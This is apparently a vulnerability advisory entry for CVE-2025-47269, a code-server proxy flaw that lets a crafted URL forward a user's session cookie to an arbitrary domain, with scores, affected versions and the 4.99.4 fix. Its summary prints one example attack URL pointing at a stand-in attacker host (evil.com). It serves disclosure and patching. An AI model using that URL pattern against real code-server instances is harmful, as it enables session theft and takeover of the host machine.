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Fencer Vulns
high 8.3

CVE-2025-47269 in the critical feed json

code-server session cookie can be extracted by having user visit specially crafted proxy URL

published 2025-05-09 18 mo ago modified 2026-09-10 1 mo ago also EUVD-2025-14189 , GHSA-p483-wpfp-42cj , JLSEC-2026-1274

cvss
8.3
version 3.1, CNA
cisa kev
Not listed
not in CISA's catalog
epss
56.3%
EPSS 56.3% chance of exploitation in 30 days, percentile 99%
public exploits
0
none known

Summary

code-server runs VS Code on any machine anywhere through browser access. Prior to version 4.99.4, a maliciously crafted URL using the proxy subpath can result in the attacker gaining access to the session token. Failure to properly validate the port for a proxy request can result in proxying to an arbitrary domain. The malicious URL `https://<code-server>/proxy/test@evil.com/path` would be proxied to `test@evil.com/path` where the attacker could exfiltrate a user's session token. Any user who runs code-server with the built-in proxy enabled and clicks on maliciously crafted links that go to their code-server instances with reference to /proxy. Normally this is used to proxy local ports, however the URL can reference the attacker's domain instead, and the connection is then proxied to that domain, which will include sending cookies. With access to the session cookie, the attacker can then log into code-server and have full access to the machine hosting code-server as the user running code-server. This issue has been patched in version 4.99.4.

Patch / fix

  • npm code-server 4.99.4
  • coder code-server 4.99.4

CISA SSVC

Exploitation
none
Automatable
no
Technical impact
total
Assessed
18 mo ago

Exploit prediction

56.28% chance of exploitation in the next 30 days, higher than 99% of all scored CVEs (FIRST EPSS, 2026-11-08).

CVSS scores

assigned by version score vector
CNA 3.1 8.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L
GitHub 3.1 8.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L
OSV 3.1 8.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L

Affected packages

ecosystem package affected fixed in
npm code-server
<4.99.4
4.99.4
julia code_server_jll
all versions
 no fix listed

Affected products

  • coder code-server

Classification

Weakness
  • CWE-441 Unintended Proxy or Intermediary

References

Sources

Fencer Vulns keeps one entry per vulnerability: the CVE id wins, then GHSA, and records that alias each other are merged, except that two CVEs always keep separate entries. The same data is available as JSON.

CPEs and fixed versions use Anchore's correction of NVD's data: Added CPE configurations because not yet analyzed by NVD.